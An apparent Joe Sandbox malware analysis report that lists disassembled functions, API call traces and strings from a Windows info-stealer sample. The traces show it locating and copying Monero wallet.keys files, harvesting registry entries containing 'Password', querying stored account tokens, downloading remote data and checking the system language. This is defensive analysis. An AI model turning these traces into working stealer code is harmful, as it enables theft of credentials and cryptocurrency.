Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: f109908e0082befe1fcf667978f777a690348c39025fc15b0a7a2c54d219fa1c
Instruction ID: 6f3ade72b017985ce4f2e3f1836f4dd86f9e4add1757a9c300cc88bb0185f507
Opcode Fuzzy Hash: f109908e0082befe1fcf667978f777a690348c39025fc15b0a7a2c54d219fa1c
Instruction Fuzzy Hash: 1B7158B6900208BBDB14EBB0DD85FEE7779BB88301F044599F605A7181EA34DB59CFA1

Function 00A41310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A412A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00A412B4
Part of subcall function 00A412A0: RtlAllocateHeap.NTDLL(00000000), ref: 00A412BB
Part of subcall function 00A412A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00A412D7
Part of subcall function 00A412A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00A412F5
Part of subcall function 00A412A0: RegCloseKey.ADVAPI32(?), ref: 00A412FF

lstrcat.KERNEL32(?,00000000), ref: 00A4134F
lstrlen.KERNEL32(?), ref: 00A4135C
lstrcat.KERNEL32(?,.keys), ref: 00A41377

Part of subcall function 00A5A740: lstrcpy.KERNEL32(00A60E17,00000000), ref: 00A5A788

Part of subcall function 00A5A9B0: lstrlen.KERNEL32(?,016091B8,?,\Monero\wallet.keys,00A60E17), ref: 00A5A9C5
Part of subcall function 00A5A9B0: lstrcpy.KERNEL32(00000000), ref: 00A5AA04
Part of subcall function 00A5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A5AA12

Part of subcall function 00A5A8A0: lstrcpy.KERNEL32(?,00A60E17), ref: 00A5A905

Part of subcall function 00A58B60: GetSystemTime.KERNEL32(00A60E1A,0160A9C8,00A605AE,?,?,00A413F9,?,0000001A,00A60E1A,00000000,?,016091B8,?,\Monero\wallet.keys,00A60E17), ref: 00A58B86

Part of subcall function 00A5A920: lstrcpy.KERNEL32(00000000,?), ref: 00A5A972
Part of subcall function 00A5A920: lstrcat.KERNEL32(00000000), ref: 00A5A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00A41465

Part of subcall function 00A5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A5A7E6

Part of subcall function 00A499C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00A499EC
Part of subcall function 00A499C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00A49A11
Part of subcall function 00A499C0: LocalAlloc.KERNEL32(00000040,?), ref: 00A49A31
Part of subcall function 00A499C0: ReadFile.KERNEL32(000000FF,?,00000000,00A4148F,00000000), ref: 00A49A5A
Part of subcall function 00A499C0: LocalFree.KERNEL32(00A4148F), ref: 00A49A90
Part of subcall function 00A499C0: CloseHandle.KERNEL32(000000FF), ref: 00A49A9A

DeleteFileA.KERNEL32(00000000), ref: 00A414EF

Strings

SOFTWARE\monero-project\monero-core, xrefs: 00A41335
.keys, xrefs: 00A4136B
wallet_path, xrefs: 00A41330
\Monero\wallet.keys, xrefs: 00A4138D

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: aaf92ac861f9bdf8b32291fb727a8cd17b149e56d84671dee2cc82e2312faa31
Instruction ID: d3914d8e978b56fc049ecacd66ea72e954025d674420b1da6cfea8877dea27c0
Opcode Fuzzy Hash: aaf92ac861f9bdf8b32291fb727a8cd17b149e56d84671dee2cc82e2312faa31
Instruction Fuzzy Hash: DF5138B1E5011897CB15FB60DD92FED733CBF64701F404698B60A62081EE345B89CBA6

Function 00A475D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A472D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00A4733A
Part of subcall function 00A472D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00A473B1
Part of subcall function 00A472D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00A4740D
Part of subcall function 00A472D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00A47452
Part of subcall function 00A472D0: HeapFree.KERNEL32(00000000), ref: 00A47459

lstrcat.KERNEL32(00000000,00A617FC), ref: 00A47606
lstrcat.KERNEL32(00000000,00000000), ref: 00A47648
lstrcat.KERNEL32(00000000, : ), ref: 00A4765A
lstrcat.KERNEL32(00000000,00000000), ref: 00A4768F
lstrcat.KERNEL32(00000000,00A61804), ref: 00A476A0
lstrcat.KERNEL32(00000000,00000000), ref: 00A476D3
lstrcat.KERNEL32(00000000,00A61808), ref: 00A476ED
task.LIBCPMTD ref: 00A476FB

Strings

: , xrefs: 00A4764E

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: f04908d0fc0f9f75ec589746489df026d773b82caa5cac95fe01ec4e3a6b9f27
Instruction ID: ec6bcf5da316f0944ad9b197ceca3f39e54b5796529e23a5d4b0fea1561400f1
Opcode Fuzzy Hash: f04908d0fc0f9f75ec589746489df026d773b82caa5cac95fe01ec4e3a6b9f27
Instruction Fuzzy Hash: 22318E75A00109EFDB04EBB4ED85FFF7779BB84301B144509F102A72A1EB38A946CB65

Function 00A58100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0160E758,00000000,?,00A60E2C,00000000,?,00000000), ref: 00A58130
RtlAllocateHeap.NTDLL(00000000), ref: 00A58137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00A58158
__aulldiv.LIBCMT ref: 00A58172
__aulldiv.LIBCMT ref: 00A58180
wsprintfA.USER32 ref: 00A581AC

Strings

%d MB, xrefs: 00A581A3
@, xrefs: 00A5814D

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: c35d052b0b5f94e9fc2229a6f5cd9e5f0f2f0c8bf4fcf6c0ccbcb656f6fa0e79
Instruction ID: 3aa9a55f62108bf39e06e881f923f74b45188f5b583b794d3b0991fb7453c9af
Opcode Fuzzy Hash: c35d052b0b5f94e9fc2229a6f5cd9e5f0f2f0c8bf4fcf6c0ccbcb656f6fa0e79
Instruction Fuzzy Hash: E2214DB1E44208ABEB10DFD4CD49FAFB7B8FB44B41F104609F605BB280D77859058BA9

Function 00A460A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A5A7E6

Part of subcall function 00A447B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00A44839
Part of subcall function 00A447B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00A44849

InternetOpenA.WININET(00A60DF7,00000001,00000000,00000000,00000000), ref: 00A4610F
StrCmpCA.SHLWAPI(?,0160E9B0), ref: 00A46147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00A4618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00A461B3
InternetReadFile.WININET(?,?,00000400,?), ref: 00A461DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00A4620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00A46249
InternetCloseHandle.WININET(?), ref: 00A46253
InternetCloseHandle.WININET(00000000), ref: 00A46260

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 83f5fe14671c6c14b445492fa908958ce51592bcc6956d8cb85f9977510d970d
Instruction ID: 17ad60f36c222320a9258a27653425d1650c262d23452a16ed5568abfe9e97e6
Opcode Fuzzy Hash: 83f5fe14671c6c14b445492fa908958ce51592bcc6956d8cb85f9977510d970d
Instruction Fuzzy Hash: 3A5165B5A00218ABEF20DF60DD45BEE7778FB44701F108199F605A71C1DBB46A89CF96

Function 00A472D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00A4733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00A473B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00A4740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00A47452
HeapFree.KERNEL32(00000000), ref: 00A47459
task.LIBCPMTD ref: 00A47555

Strings

Password, xrefs: 00A47401

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 0469ea1d4f4c42f882cfb9060ebc9bbb8c32bda3eb06f9ee7248e9fb5364671d
Instruction ID: ac551f9b9d5323e3695ec2c937a33578b5a82858f675815521917e88728403dc
Opcode Fuzzy Hash: 0469ea1d4f4c42f882cfb9060ebc9bbb8c32bda3eb06f9ee7248e9fb5364671d
Instruction Fuzzy Hash: C5613CB99041689BDB24DB50DD41FEEB7B8BF84300F0081E9E649A6141DBB46FC9CFA1

Function 00A4BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A5A740: lstrcpy.KERNEL32(00A60E17,00000000), ref: 00A5A788

Part of subcall function 00A5A9B0: lstrlen.KERNEL32(?,016091B8,?,\Monero\wallet.keys,00A60E17), ref: 00A5A9C5
Part of subcall function 00A5A9B0: lstrcpy.KERNEL32(00000000), ref: 00A5AA04
Part of subcall function 00A5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A5AA12

Part of subcall function 00A5A920: lstrcpy.KERNEL32(00000000,?), ref: 00A5A972
Part of subcall function 00A5A920: lstrcat.KERNEL32(00000000), ref: 00A5A982

Part of subcall function 00A5A8A0: lstrcpy.KERNEL32(?,00A60E17), ref: 00A5A905

Part of subcall function 00A5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A5A7E6

lstrlen.KERNEL32(00000000), ref: 00A4BC9F

Part of subcall function 00A58E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00A58E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 00A4BCCD
lstrlen.KERNEL32(00000000), ref: 00A4BDA5
lstrlen.KERNEL32(00000000), ref: 00A4BDB9

Strings

AccountTokens, xrefs: 00A4BB49
SELECT service, encrypted_token FROM token_service, xrefs: 00A4BBEB
AccountTokens, xrefs: 00A4BABA
AccountId, xrefs: 00A4BCC4

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 02ce3a61080077930854852ea7d215169cf384f5afcdbbc9de533c67e78e1e74
Instruction ID: b055cd97b90403e1b800d7cba27ac9366836823cc5f5452e52b6393febab1d3b
Opcode Fuzzy Hash: 02ce3a61080077930854852ea7d215169cf384f5afcdbbc9de533c67e78e1e74
Instruction Fuzzy Hash: 72B14471A10118ABDB04FBA0CE96EEE7738BF64301F444659F907A6191FF346A4DCB62

Function 00A56770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00A56774
ExitProcess.KERNEL32 ref: 00A567A5
ExitProcess.KERNEL32 ref: 00A567AF
ExitProcess.KERNEL32 ref: 00A567B9
ExitProcess.KERNEL32 ref: 00A567C3
ExitProcess.KERNEL32 ref: 00A567CD

Strings

*, xrefs: 00A5678C

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 82410dabf260dfdea12f7d5e8785637217829be4361ab944960d56d49a9d9f30
Instruction ID: 4041b63a00694a7f54ebf98817c5bf63941667e84028e36c89c80f2f92c6c575
Opcode Fuzzy Hash: 82410dabf260dfdea12f7d5e8785637217829be4361ab944960d56d49a9d9f30
Instruction Fuzzy Hash: 97F0FE31944219EFE7449FE0E90976CBB70FB0D707F14019AE60987290D6784B51EB9A

Function 00A44FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00A44FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00A44FD1
InternetOpenA.WININET(00A60DDF,00000000,00000000,00000000,00000000), ref: 00A44FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00A45011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00A45041
InternetCloseHandle.WININET(?), ref: 00A450B9
InternetCloseHandle.WININET(?), ref: 00A450C6

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 28aaf9e483a61bc024c051cfaa58af4ebf2e35ef59f4f6e5843411f4a485982c
Instruction ID: 799388aec2d6eea07439f59d064e83e1bc437e1d571640f07d62c048533175ba
Opcode Fuzzy Hash: 28aaf9e483a61bc024c051cfaa58af4ebf2e35ef59f4f6e5843411f4a485982c
Instruction Fuzzy Hash: 223104B8A00218ABDB20CF54DC85BDDB7B4FB88704F5081D9EB09A7281D7706EC58F99

Function 00A583DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00A58426
wsprintfA.USER32 ref: 00A58459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00A5847B
RegCloseKey.ADVAPI32(00000000), ref: 00A5848C
RegCloseKey.ADVAPI32(00000000), ref: 00A58499

Part of subcall function 00A5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A5A7E6

RegQueryValueExA.ADVAPI32(00000000,0160E740,00000000,000F003F,?,00000400), ref: 00A584EC
lstrlen.KERNEL32(?), ref: 00A58501
RegQueryValueExA.ADVAPI32(00000000,0160E698,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00A60B34), ref: 00A58599
RegCloseKey.ADVAPI32(00000000), ref: 00A58608
RegCloseKey.ADVAPI32(00000000), ref: 00A5861A

Strings

%s\%s, xrefs: 00A5844D

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
